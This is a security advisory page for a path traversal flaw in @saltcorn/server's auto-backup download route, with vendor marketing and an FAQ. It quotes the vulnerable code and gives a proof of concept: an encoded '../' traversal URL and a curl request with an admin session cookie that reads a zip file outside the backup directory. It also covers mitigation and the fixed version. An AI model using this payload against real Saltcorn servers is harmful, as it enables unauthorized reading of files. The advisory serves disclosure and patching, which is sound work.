Summary
@saltcorn/server arbitrary file zip read and download when downloading auto backups
A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
Steps to reproduce (PoC)
- create a file with
.zipextension under/tmpfolder:
echo "secret12345" > /tmp/secret.zip
- log into the application as an admin user
- visit the url
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip - download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
- Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Recommended Mitigation
Resolve the filename parameter before checking if it starts with backup_file_prefix .
Impact
Arbitrary zip files download (information disclosure).
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
GHSA-277H-PX4M-62Q8 has a CVSS score of 4.4 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-beta.14); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-277H-PX4M-62Q8? GHSA-277H-PX4M-62Q8 is a medium-severity path traversal vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.13. It is fixed in 1.0.0-beta.14. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is GHSA-277H-PX4M-62Q8? GHSA-277H-PX4M-62Q8 has a CVSS score of 4.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @saltcorn/server are affected by GHSA-277H-PX4M-62Q8? @saltcorn/server (npm) versions <= 1.0.0-beta.13 is affected.
- Is there a fix for GHSA-277H-PX4M-62Q8? Yes. GHSA-277H-PX4M-62Q8 is fixed in 1.0.0-beta.14. Upgrade to this version or later.
- Is GHSA-277H-PX4M-62Q8 exploitable, and should I be worried? Whether GHSA-277H-PX4M-62Q8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-277H-PX4M-62Q8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-277H-PX4M-62Q8? Upgrade
@saltcorn/serverto 1.0.0-beta.14 or later.